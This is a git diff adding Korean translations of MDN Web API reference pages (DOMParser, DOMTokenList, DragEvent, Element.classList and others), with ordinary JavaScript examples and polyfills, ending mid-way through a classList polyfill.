{{SpecName('DOM WHATWG','#mixin-documentorshadowroot','DocumentOrShadowRoot')}}{{Spec2('DOM WHATWG')}}Initial definition.
{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}{{Spec2('Shadow DOM')}}Implementation in Shadow DOM.
+ +

Browser Compatibility

+ + + +

{{Compat("api.DocumentOrShadowRoot")}}

+ +

[1] This interface's features are still implemented on the {{DOMxRef("Document")}} object.

diff --git a/files/ko/web/api/documentorshadowroot/stylesheets/index.html b/files/ko/web/api/documentorshadowroot/stylesheets/index.html new file mode 100644 index 0000000000..cf6e1c38ce --- /dev/null +++ b/files/ko/web/api/documentorshadowroot/stylesheets/index.html @@ -0,0 +1,57 @@ +--- +title: DocumentOrShadowRoot.styleSheets +slug: Web/API/DocumentOrShadowRoot/styleSheets +tags: + - API + - Document + - Propert + - Reference +translation_of: Web/API/DocumentOrShadowRoot/styleSheets +--- +
{{SeeCompatTable}}{{APIRef("Shadow DOM")}}
+ +

{{domxref("DocumentOrShadowRoot")}} 인터페이스의 styleSheets 읽기 전용 속성은 문서에서 명시적으로 링크했거나, 안에 포함된 스타일시트에 대한 {{domxref('CSSStyleSheet')}} 객체의 {{domxref('StyleSheetList')}}를 반환합니다.

+ +

예제

+ +
function getStyleSheet(unique_title) {
+  for(var i=0; i<document.styleSheets.length; i++) {
+    var sheet = document.styleSheets[i];
+    if(sheet.title == unique_title) {
+      return sheet;
+    }
+  }
+}
+
+ +

참고

+ +

반환 된 목록은 다음과 같이 정렬됩니다:

+ + + +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}{{Spec2('Shadow DOM')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.DocumentOrShadowRoot.styleSheets")}}

diff --git a/files/ko/web/api/documenttype/index.html b/files/ko/web/api/documenttype/index.html new file mode 100644 index 0000000000..f2d8f1cfa2 --- /dev/null +++ b/files/ko/web/api/documenttype/index.html @@ -0,0 +1,90 @@ +--- +title: DocumentType +slug: Web/API/DocumentType +tags: + - API + - DOM + - DocumentType + - 인터페이스 +translation_of: Web/API/DocumentType +--- +
{{APIRef("DOM")}}
+ +

DocumentType 인터페이스는 doctype을 포함하는 {{domxref("Node")}} 를 나타냅니다.

+ +

{{InheritanceDiagram}}

+ +

프로퍼티

+ +

부모 {{domxref("Node")}} 로부터 프로퍼티를 상속받고 {{domxref("ChildNode")}} 인터페이스를 구현합니다.

+ +
+
{{domxref("DocumentType.entities")}} {{readonlyInline}} {{obsolete_Inline}}
+
DTD에 선언된 엔티티의 {{domxref("NamedNodeMap")}} 입니다. 이 맵의 모든 노드는 {{domxref("Entity")}} 인터페이스를 구현합니다.
+
{{domxref("DocumentType.internalSubset")}} {{readonlyInline}} {{obsolete_Inline}}
+
내부 하위 집합의 {{domxref("DOMString")}} 입니다. 하위 집합이 존재하지 않을 경우 null입니다. 예, "<!ELEMENT foo (bar)>".
+
{{domxref("DocumentType.name")}} {{readonlyInline}}
+
{{domxref("DOMString")}} 입니다. 예, <!DOCTYPE HTML> 의 경우 "html".
+
{{domxref("DocumentType.notations")}} {{readonlyInline}} {{obsolete_Inline}}
+
DTD에 선언된 노테이션을 포함한 {{domxref("NamedNodeMap")}} 입니다. 이 맵의 모든 노드는 {{domxref("Notation")}} 인터페이스를 구현합니다.
+
{{domxref("DocumentType.publicId")}} {{readonlyInline}}
+
{{domxref("DOMString")}} 입니다. 예, "-//W3C//DTD HTML 4.01//EN", HTML5의 경우 빈 문자열.
+
{{domxref("DocumentType.systemId")}} {{readonlyInline}}
+
{{domxref("DOMString")}} 입니다. 예, "http://www.w3.org/TR/html4/strict.dtd", HTML5의 경우 빈 문자열.
+
+ +

메소드

+ +

부모 {{domxref("Node")}} 로부터 메소드를 상속받고 {{domxref("ChildNode")}} 인터페이스를 구현합니다.

+ +
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
부모의 자식 리스트로부터 객체를 제거합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#documenttype', 'DocumentType')}}{{Spec2('DOM WHATWG')}}{{domxref("ChildNode")}} 인터페이스의 구현을 추가했음.
+ internalSubset, entities, notation 프로퍼티를 제거했음.
{{SpecName('DOM3 Core', 'core.html#ID-412266927', 'DocumentType')}}{{Spec2('DOM3 Core')}}{{SpecName('DOM2 Core')}} 으로부터 변경사항 없음.
{{SpecName('DOM2 Core', 'core.html#ID-412266927', 'DocumentType')}}{{Spec2('DOM2 Core')}}publicID, systemID, internalSubset 프로퍼티를 추가했음.
{{SpecName('DOM1', 'level-one-core.html#ID-412266927', 'DocumentType')}}{{Spec2('DOM1')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.DocumentType")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/domobject/index.html b/files/ko/web/api/domobject/index.html new file mode 100644 index 0000000000..29208a9ff2 --- /dev/null +++ b/files/ko/web/api/domobject/index.html @@ -0,0 +1,35 @@ +--- +title: DOMObject +slug: Web/API/DOMObject +tags: + - API + - DOM + - DOM 레퍼런스 + - DOMObject + - 객체 + - 레퍼런스 + - 사용되지않음 +translation_of: Web/API/DOMObject +--- +
{{APIRef("DOM")}}{{Obsolete_header}}
+ +

더 이상 사용되지 않는 DOMObject 인터페이스는 객체 데이터 타입을 위한 기본 클래스로서 DOM 명세의 초기 버전에 사용되었습니다. 명세는 이제 간단히 JavaScript {{jsxref("Object")}} 타입을 사용합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#DOMObject", "DOMObject")}}{{Spec2("DOM3 Core")}}초기 명세
diff --git a/files/ko/web/api/domparser/index.html b/files/ko/web/api/domparser/index.html new file mode 100644 index 0000000000..27530dabc9 --- /dev/null +++ b/files/ko/web/api/domparser/index.html @@ -0,0 +1,203 @@ +--- +title: DOMParser +slug: Web/API/DOMParser +translation_of: Web/API/DOMParser +--- +
{{APIRef("DOM")}}
+ +

The DOMParser 인터페이스는 DOM {{domxref("Document")}} 문서에 맞는 {{Glossary("XML")}} 및 {{Glossary("HTML")}} 소스 코드를 해석할 수 있는 기반을 제공한다 .

+ +
+

참고: {{domxref("XMLHttpRequest")}} 객체로도 인식 가능한 URL 주소로부터 직접 XML 및 HTML 문서를 해석하여 {{domxref("XMLHttpRequest.response", "response")}} 속성을 통해 Document 객체로 제공한다.

+
+ +

반대로 DOM 구조를 XML 및 HTML 소스 코드로 제공하는 방식은 {{domxref("XMLSerializer")}} 인터페이스를 참고하도록 한다.

+ +

HTML 문서의 경우, {{domxref("Element.innerHTML")}} 속성과 {{domxref("Element.outerHTML", "outerHTML")}} 속성을 통해 DOM 구조를 새로운 방식으로 변경할 수 있다. 또한 이들 속성을 통해 HTML 구조의 하위에 있는 HTML 구조도 불러올 수 있다.

+ +

문법

+ +
let domparser = new DOMParser()​​
+ +

메소드

+ +

{{domxref("DOMParser.parseFromString()", "", "", "1")}}

+ +

문법

+ +
let doc = domparser.parseFromString(string, mimeType)
+ +

반환

+ +

 mimeType 인자를 통해 정의한 형식에 따른 {{domxref("Document")}} 또는{{domxref("XMLDocument")}} 문서를 반환한다.

+ +

인자

+ +

이 메소드에는 2개의 인자가 제공되는데, 모두 필수값이다.

+ +
+
string
+
해석할 {{domxref("DOMString")}} 문자열. 반드시 {{Glossary("HTML")}}, {{Glossary("xml")}}, {{Glossary("xhtml+xml")}} 또는 {{Glossary("svg")}} 문서 형식에 맞아야 한다.
+
mimeType
+
+

아래 표에 정의한 형식을 반환 값으로 제공할 {{domxref("DOMString")}} 문자열.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
mimeTypedoc.constructor
text/html{{domxref("Document")}}
text/xml{{domxref("XMLDocument")}}
application/xml{{domxref("XMLDocument")}}
application/xhtml+xml{{domxref("XMLDocument")}}
image/svg+xml{{domxref("XMLDocument")}}
+
+
+ +

예제

+ +

XML 해석

+ +

parser 변수를 통해 새로이 해석할 객체를 만들었다면, 이제 parseFromString() 메소드를 통해 XML 문서를 해석할 수 있다.

+ +
let parser = new DOMParser()
+let doc = parser.parseFromString(stringContainingXMLSource, "application/xml")
+
+ +

오류 대응

+ +

만약 해석에 실패할 경우, DOMParser 객체는 예외를 발생시키지 않고, 아래와 같은 오류 문서를 반환한다.

+ +
<parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml">
+  (영문 오류 내용)
+  <sourcetext>(오류가 발생한 XML 소스 조각)</sourcetext>
+</parsererror>
+
+ +

또한 해석 오류를 오류 콘솔에서도 볼 수 있으며, 여기에 후술할(역주: geckoRelease) 문서 URI도 포함된다

+ +

SVG 및 HTML 해석

+ +

The DOMParser 객체는 {{geckoRelease("10.0")}} 규격에 맞는 SVG 문서도 해석할 수 있으며,{{geckoRelease("12.0")}} 규격에 맞는 HTML 문서를 해석할 수 있다. MIME 형식에 따라 아래와 같이 다른 객체가 반환될 수 있다.

+ +
    +
  1. IME 형식이 text/xml이면, XMLDocument 객체가 반환된다.
  2. +
  3. MIME 형식이 image/svg+xml이면, SVGDocument 객체가 반환된다.
  4. +
  5. MIME 형식이 text/html이면, HTMLDocument 객체가 반환된다.
  6. +
+ +
let parser = new DOMParser()
+let doc = parser.parseFromString(stringContainingXMLSource, "application/xml")
+// Document 객체가 반환되지만, SVGDocument 및 HTMLDocument 객체가 아니다.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingSVGSource, "image/svg+xml")
+// SVGDocument 객체가 반환되며, 이 또한 Document 객체이기도 하다.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingHTMLSource, "text/html")
+// HTMLDocument 객체가 반환되며, 이 또한 Document 객체이기도 하다.
+
+ +

DOMParser HTML 확장

+ +
/*
+ * DOMParser HTML 확장
+ * 2012-09-04
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public domain.
+ * 이 구현체에 대한 보증이 없으므로 주의해서 사용할 것.
+ */
+
+/*! @source https://gist.github.com/1129031 */
+/*global document, DOMParser*/
+
+(function(DOMParser) {
+	"use strict";
+
+	var proto = DOMParser.prototype,
+        nativeParse = proto.parseFromString;
+
+	// Firefox/Opera/IE 에서 지원하지 않는 형식에 오류 발생
+	try {
+		// WebKit returns null on unsupported types
+		if ((new DOMParser()).parseFromString("", "text/html")) {
+			// text/html parsing is natively supported
+			return;
+		}
+	} catch (ex) {}
+
+	proto.parseFromString = function(markup, type) {
+		if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {
+			var
+			  doc = document.implementation.createHTMLDocument("")
+			;
+	      		if (markup.toLowerCase().indexOf('<!doctype') > -1) {
+        			doc.documentElement.innerHTML = markup;
+      			}
+      			else {
+        			doc.body.innerHTML = markup;
+      			}
+			return doc;
+		} else {
+			return nativeParse.apply(this, arguments);
+		}
+	};
+}(DOMParser));
+
+ +

규격

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-parsing-and-serialization', 'DOM parsing')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.DOMParser", 3)}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/domstring/index.html b/files/ko/web/api/domstring/index.html new file mode 100644 index 0000000000..0a0b547159 --- /dev/null +++ b/files/ko/web/api/domstring/index.html @@ -0,0 +1,43 @@ +--- +title: DOMString +slug: Web/API/DOMString +tags: + - API + - DOM + - Reference + - String +translation_of: Web/API/DOMString +--- +
{{APIRef("DOM")}}
+ +

DOMString은 UTF-16 문자열입니다. JavaScript의 {{jsxref("String")}}도 UTF-16 문자열이기 때문에 DOMStringString으로 연결됩니다.

+ +

DOMString을 받는 매개변수에 {{jsxref("null")}}을 전달하면, 보통 문자열로 변환해 "null"이 됩니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}{{Spec2('WebIDL')}}
+ +

같이 보기

+ + diff --git a/files/ko/web/api/domtokenlist/contains/index.html b/files/ko/web/api/domtokenlist/contains/index.html new file mode 100644 index 0000000000..5913cdf749 --- /dev/null +++ b/files/ko/web/api/domtokenlist/contains/index.html @@ -0,0 +1,117 @@ +--- +title: DOMTokenList.contains() +slug: Web/API/DOMTokenList/contains +translation_of: Web/API/DOMTokenList/contains +--- +

{{APIRef("DOM")}}

+ +

The contains() method of the {{domxref("DOMTokenList")}} interface returns a {{domxref("Boolean")}} — true if the underlying list contains the given token, otherwise false.

+ +

Syntax

+ +
tokenList.contains(token);
+ +

Parameters

+ +
+
token
+
A {{domxref("DOMString")}} representing the token you want to check for the existance of in the list.
+
+ +

Return value

+ +

A {{domxref("Boolean")}} — true if the underlying list contains the given token, otherwise false.

+ +

Examples

+ +

In the following example we retrieve the list of classes set on a {{htmlelement("span")}} element as a DOMTokenList using {{domxref("Element.classList")}}. We then test for the existance of "c" in the list, and write the result into the <span>'s {{domxref("Node.textContent")}}.

+ +

First, the HTML:

+ +
<span class="a b c"></span>
+ +

Now the JavaScript:

+ +
var span = document.querySelector("span");
+var classes = span.classList;
+var result = classes.contains("c");
+if(result) {
+  span.textContent = "The classList contains 'c'";
+} else {
+   span.textContent = "The classList does not contain 'c'";
+}
+ +

The output looks like this:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-domtokenlist-contains','contains()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

 

diff --git a/files/ko/web/api/domtokenlist/index.html b/files/ko/web/api/domtokenlist/index.html new file mode 100644 index 0000000000..a3b7c6fd97 --- /dev/null +++ b/files/ko/web/api/domtokenlist/index.html @@ -0,0 +1,115 @@ +--- +title: DOMTokenList +slug: Web/API/DOMTokenList +tags: + - API + - DOM + - DOMTokenList + - Interface + - Reference +translation_of: Web/API/DOMTokenList +--- +
{{APIRef("DOM")}}
+ +

The DOMTokenList interface represents a set of space-separated tokens. Such a set is returned by {{domxref("Element.classList")}}, {{domxref("HTMLLinkElement.relList")}}, {{domxref("HTMLAnchorElement.relList")}}, {{domxref("HTMLAreaElement.relList")}}, {{domxref("HTMLIframeElement.sandbox")}}, or {{domxref("HTMLOutputElement.htmlFor")}}. It is indexed beginning with 0 as with JavaScript {{jsxref("Array")}} objects. DOMTokenList is always case-sensitive.

+ +

Properties

+ +
+
{{domxref("DOMTokenList.length")}} {{ReadOnlyInline}}
+
Is an integer representing the number of objects stored in the object.
+
{{domxref("DOMTokenList.value")}}
+
The value of the list as a {{domxref("DOMString")}}.
+
+ +

Methods

+ +
+
{{domxref("DOMTokenList.item()")}}
+
Returns an item in the list by its index (returns undefined if the number is greater than or equal to the length of the list).
+
{{domxref("DOMTokenList.contains()")}}
+
Returns true if the list contains the given token, otherwise false.
+
{{domxref("DOMTokenList.add()")}}
+
Adds the given token to the list.
+
{{domxref("DOMTokenList.remove()")}}
+
Removes the specified token from the list.
+
{{domxref("DOMTokenList.replace()")}}
+
Replaces an existing token with a new token.
+
{{domxref("DOMTokenList.supports()")}}
+
Returns true if a given token is in the associated attribute's supported tokens.
+
{{domxref("DOMTokenList.toggle()")}}
+
Removes a given token from the list and returns false. If token doesn't exist it's added and the function returns true.
+
{{domxref("DOMTokenList.entries()")}}
+
Returns an {{jsxref("Iteration_protocols","iterator")}} allowing you to go through all key/value pairs contained in this object.
+
{{domxref("DOMTokenList.forEach()")}}
+
Executes a provided function once per DOMTokenList element.
+
{{domxref("DOMTokenList.keys()")}}
+
Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing you to go through all keys of the key/value pairs contained in this object.
+
{{domxref("DOMTokenList.values()")}}
+
Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing you to go through all values of the key/value pairs contained in this object.
+
+ +

Examples

+ +

In the following simple example we retrieve the list of classes set on a {{htmlelement("p")}} element as a DOMTokenList using {{domxref("Element.classList")}}, add a class using {{domxref("DOMTokenList.add()")}}, and then update the {{domxref("Node.textContent")}} of the <p> to equal the DOMTokenList.

+ +

First, the HTML:

+ +
<p class="a b c"></p>
+ +

Now the JavaScript:

+ +
var para = document.querySelector("p");
+var classes = para.classList;
+para.classList.add("d");
+para.textContent = 'paragraph classList is "' + classes + '"';
+ +

The output looks like this:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

Trimming of whitespace and removal of duplicates

+ +

Methods that modify the DOMTokenList (such as {{domxref("DOMTokenList.add()")}}) automatically trim any excess {{Glossary("Whitespace")}} and remove duplicate values from the list. For example:

+ +
<span class="    d   d e f"></span>
+ +
var span = document.querySelector("span");
+var classes = span.classList;
+span.classList.add("x");
+span.textContent = 'span classList is "' + classes + '"';
+ +

The output looks like this:

+ +

{{ EmbedLiveSample('Trimming_of_whitespace_and_removal_of_duplicates', '100%', 60) }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#interface-domtokenlist", "DOMTokenList")}}{{Spec2("DOM WHATWG")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.DOMTokenList")}}

+ +

See also

+ + diff --git a/files/ko/web/api/dragevent/index.html b/files/ko/web/api/dragevent/index.html new file mode 100644 index 0000000000..855e0fa9eb --- /dev/null +++ b/files/ko/web/api/dragevent/index.html @@ -0,0 +1,109 @@ +--- +title: DragEvent +slug: Web/API/DragEvent +tags: + - API + - DragEvent + - Reference + - drag and drop +translation_of: Web/API/DragEvent +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

The DragEvent interface is a {{domxref("Event","DOM event")}} that represents a drag and drop interaction. The user initiates a drag by placing a pointer device (such as a mouse) on the touch surface and then dragging the pointer to a new location (such as another DOM element). Applications are free to interpret a drag and drop interaction in an application-specific way.

+ +

This interface inherits properties from {{domxref("MouseEvent")}} and {{domxref("Event")}}.

+ +

Properties

+ +
+
{{domxref('DragEvent.dataTransfer')}} {{readonlyInline}}
+
The data that is transferred during a drag and drop interaction.
+
+ +

Constructors

+ +

Although this interface has a constructor, it is not possible to create a useful DataTransfer object from script, since {{domxref("DataTransfer")}} objects have a processing and security model that is coordinated by the browser during drag-and-drops.

+ +
+
{{domxref("DragEvent.DragEvent", "DragEvent()")}}
+
Creates a synthetic and untrusted DragEvent.
+
+ +

Event types

+ +
+
{{event('drag')}}
+
This event is fired when an element or text selection is being dragged.
+
{{event('dragend')}}
+
This event is fired when a drag operation is being ended (by releasing a mouse button or hitting the escape key).
+
{{event('dragenter')}}
+
This event is fired when a dragged element or text selection enters a valid drop target.
+
{{event('dragexit')}}
+
This event is fired when an element is no longer the drag operation's immediate selection target.
+
{{event('dragleave')}}
+
This event is fired when a dragged element or text selection leaves a valid drop target.
+
{{event('dragover')}}
+
This event is fired continuously when an element or text selection is being dragged and the mouse pointer is over a valid drop target (every 50 ms WHEN mouse is not moving ELSE much faster between 5 ms (slow movement) and 1ms (fast movement) approximately. This firing pattern is different than {{Event("mouseover")}} ).
+
{{event('dragstart')}}
+
This event is fired when the user starts dragging an element or text selection.
+
{{event('drop')}}
+
This event is fired when an element or text selection is dropped on a valid drop target.
+
+ +

GlobalEventHandlers

+ +
+
{{domxref('GlobalEventHandlers.ondrag')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('drag')}} event.
+
{{domxref('GlobalEventHandlers.ondragend')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragend')}} event.
+
{{domxref('GlobalEventHandlers.ondragenter')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragenter')}} event.
+
{{domxref('GlobalEventHandlers.ondragexit')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragexit')}} event.
+
{{domxref('GlobalEventHandlers.ondragleave')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragleave')}} event.
+
{{domxref('GlobalEventHandlers.ondragover')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragover')}} event.
+
{{domxref('GlobalEventHandlers.ondragstart')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragstart')}} event.
+
{{domxref('GlobalEventHandlers.ondrop')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('drop')}} event.
+
+ +

Example

+ +

An Example of each property, constructor, event type and global event handlers is included in their respective reference page.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dragevent", "DragEvent")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#the-dragevent-interface", "DragEvent")}}{{Spec2("HTML5.1")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.DragEvent")}}

+ +

See also

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

diff --git a/files/ko/web/api/element/accesskey/index.html b/files/ko/web/api/element/accesskey/index.html new file mode 100644 index 0000000000..f3206eae4b --- /dev/null +++ b/files/ko/web/api/element/accesskey/index.html @@ -0,0 +1,34 @@ +--- +title: Element.accessKey +slug: Web/API/Element/accessKey +tags: + - API + - Access Keys + - DOM + - Hotkeys + - NeedsContent + - 레퍼런스 + - 속성 + - 엘리먼트 + - 키보드 단축키 +translation_of: Web/API/HTMLElement/accessKey +--- +
{{APIRef("DOM")}}
+ +

Element.accessKey 속성은 주어진 사용자가 눌러 주어진 엘리먼트로 이동할 수 있는 키 입력 세트입니다.

+ +
+

Element.accessKey 속성은 브라우저에 이미 바인딩 된 키와의 여러 충돌로 인해 거의 사용되지 않습니다. 이를 해결하기 위해, 브라우저는 다른 "적절한" 키(예, Alt + accesskey)와 함께 키가 눌렸을 때동작하도록 구현하였습니다.

+
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.accessKey")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/element/attributes/index.html b/files/ko/web/api/element/attributes/index.html new file mode 100644 index 0000000000..53f9f8f0cf --- /dev/null +++ b/files/ko/web/api/element/attributes/index.html @@ -0,0 +1,72 @@ +--- +title: element.attributes +slug: Web/API/Element/attributes +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Element/attributes +--- +

{{ ApiRef() }}

+

요약

+

주어진 요소의 속성 모음(collection)을 반환합니다.

+

구문

+
varattrs =element.attributes;
+
+

반환하는 개체는 Attr 노드를 포함하는 NamedNodeMap 형입니다. 요소가 지정된 속성이 없으면, 반환하는 개체는 길이가 0입니다. 이 속성은 읽기 전용입니다.

+

+
// 문서에서 첫 <p> 요소 얻기
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;
+
+

주의

+

모음의 항목은 이름과 찾아보기(index)로 접근할 수 있습니다. NodeList와는 달리, NamedNodeMap은 항목을 어떤 특정 순서로 유지하지 않음을 주의하세요.

+

여러분은 문서에서 "p1" 요소의 모든 속성값을 찍는 다음 예에서처럼 요소의 속성을 열거(enumerate)할 때 오직 찾아보기로 접근(access by index)을 써야 합니다.

+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+
+<html>
+
+ <head>
+  <title>Attributes example</title>
+  <script type="text/javascript">
+   function showFirstAttr()
+   {
+    var firstPara = document.getElementById("p1");
+    var outputText = document.getElementById("result");
+
+    // 먼저, paragraph에 어떤 속성이 있는지 검증
+    if (firstPara.hasAttributes())
+    {
+      var attrs = firstPara.attributes;
+      var text = "";
+      for(var i=attrs.length-1; i>=0; i--) {
+        text += attrs[i].name + "->" + attrs[i].value;
+      }
+      outputText.value = text;
+    } else {
+      outputText.value = "No attributes to show"
+    };
+   }
+  </script>
+ </head>
+
+<body>
+ <p id="p1" style="color: green;">Sample Paragraph</p>
+ <form action="">
+  <p><input type="button" value="Show first attribute name and value"
+      onclick="showFirstAttr();">
+  <input id="result" type="text" value=""></p>
+ </form>
+</body>
+</html>
+
+

NamedNodeMap은 배열처럼 반복될 수 있지만, join, split 등과 같은 Array에 있는 어떤 특수 메소드는 없습니다.

+

이름으로 특정 속성에 접근하려면, getAttribute 메소드를 쓰세요.

+

명세

+ +

{{ languages( { "en": "en/DOM/element.attributes", "fr": "fr/DOM/element.attributes", "pl": "pl/DOM/element.attributes" } ) }}

diff --git a/files/ko/web/api/element/classlist/index.html b/files/ko/web/api/element/classlist/index.html new file mode 100644 index 0000000000..49b710c2be --- /dev/null +++ b/files/ko/web/api/element/classlist/index.html @@ -0,0 +1,285 @@ +--- +title: Element.classList +slug: Web/API/Element/classList +tags: + - API + - DOM + - 레퍼런스 + - 속성 + - 엘리먼트 + - 읽기 전용 +translation_of: Web/API/Element/classList +--- +
{{APIRef("DOM")}}
+ +

Element.classList는 엘리먼트의 클래스 속성의 컬렉션인 활성 {{domxref("DOMTokenList")}}를 반환하는 읽기 전용 프로퍼티이다.

+ +

classList 사용은 공백으로 구분된 문자열인 {{domxref("element.className")}}을 통해 엘리먼트의 클래스 목록에 접근하는 방식을 대체하는 간편한 방법이다.

+ +

구문

+ +
const elementClasses = elementNodeReference.classList;
+
+ +

elementClasseselementNodeReference의 클래스 속성을 나타내는 {{domxref("DOMTokenList")}}이다. 만약 클래스 속성이 설정되어 있지 않거나 비어있다면 elementClasses.length0을 반환한다. element.classList 그 자체는 읽기 전용 프로퍼티지만 add()remove() 메서드를 이용하여 변형할 수 있다.

+ +

메서드

+ +
+
add( String [, String [, ...]] )
+
지정한 클래스 값을 추가한다. 만약 추가하려는 클래스가 엘리먼트의 class 속성에 이미 존재한다면 무시한다.
+
remove( String [, String [, ...]] )
+
지정한 클래스 값을 제거한다.
+
+
노트: 존재하지 않는 클래스를 제거하는 것은 에러를 발생시키지 않습니다.
+
+
item( Number )
+
콜렉션의 인덱스를 이용하여 클래스 값을 반환한다.
+
toggle( String [, force] )
+
하나의 인수만 있을 때: 클래스 값을 토글링한다. 즉, 클래스가 존재한다면 제거하고 false를 반환하며, 존재하지 않으면 클래스를 추가하고 true를 반환한다.
+
두번째 인수가 있을 때: 두번째 인수가 true로 평가되면 지정한 클래스 값을 추가하고 false로 평가되면 제거한다.
+
contains( String )
+
지정한 클래스 값이 엘리먼트의 class 속성에 존재하는지 확인한다.
+
replace( oldClass, newClass )
+
존재하는 클래스를 새로운 클래스로 교체한다.
+
+ +

예제

+ +
const div = document.createElement('div');
+div.className = 'foo';
+
+// our starting state: <div class="foo"></div>
+console.log(div.outerHTML);
+
+// use the classList API to remove and add classes
+div.classList.remove("foo");
+div.classList.add("anotherclass");
+
+// <div class="anotherclass"></div>
+console.log(div.outerHTML);
+
+// if visible is set remove it, otherwise add it
+div.classList.toggle("visible");
+
+// add/remove visible, depending on test conditional, i less than 10
+div.classList.toggle("visible", i < 10 );
+
+console.log(div.classList.contains("foo"));
+
+// add or remove multiple classes
+div.classList.add("foo", "bar", "baz");
+div.classList.remove("foo", "bar", "baz");
+
+// add or remove multiple classes using spread syntax
+const cls = ["foo", "bar"];
+div.classList.add(...cls);
+div.classList.remove(...cls);
+
+// replace class "foo" with class "bar"
+div.classList.replace("foo", "bar");
+ +
+

파이어폭스 26 이전의 버전에서는 add/remove/toggle 메서드에서 여러 인수의 사용을 구현하지 않았다. https://bugzilla.mozilla.org/show_bug.cgi?id=814014 링크를 참조하라.

+
+ +

폴리필

+ +

The legacy onpropertychange event can be used to create a living classList mockup thanks to a Element.prototype.className property that fires the specified event once it is changed.

+ +

The following polyfill for both classList and DOMTokenList ensures full compliance (coverage) for all standard methods and properties of Element.prototype.classList for IE10-IE11 browsers plus nearly compliant behavior for IE 6-9. Check it out:

+ +
// 1. String.prototype.trim polyfill
+if (!"".trim) String.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); };
+(function(window){"use strict"; // prevent global namespace pollution
+if(!window.DOMException) (DOMException = function(reason){this.message = reason}).prototype = new Error;
+var wsRE = /[\11\12\14\15\40]/, wsIndex = 0, checkIfValidClassListEntry = function(O, V) {
+  if (V === "") throw new DOMException(
+    "Failed to execute '" + O + "' on 'DOMTokenList': The token provided must not be empty." );
+  if((wsIndex=V.search(wsRE))!==-1) throw new DOMException("Failed to execute '"+O+"' on 'DOMTokenList': " +
+    "The token provided ('"+V[wsIndex]+"') contains HTML space characters, which are not valid in tokens.");
+}
+// 2. Implement the barebones DOMTokenList livelyness polyfill
+if (typeof DOMTokenList !== "function") (function(window){
+    var document = window.document, Object = window.Object, hasOwnProp = Object.prototype.hasOwnProperty;
+    var defineProperty = Object.defineProperty, allowTokenListConstruction = 0, skipPropChange = 0;
+    function DOMTokenList(){
+        if (!allowTokenListConstruction) throw TypeError("Illegal constructor"); // internally let it through
+    }
+    DOMTokenList.prototype.toString = DOMTokenList.prototype.toLocaleString = function(){return this.value};
+    DOMTokenList.prototype.add = function(){
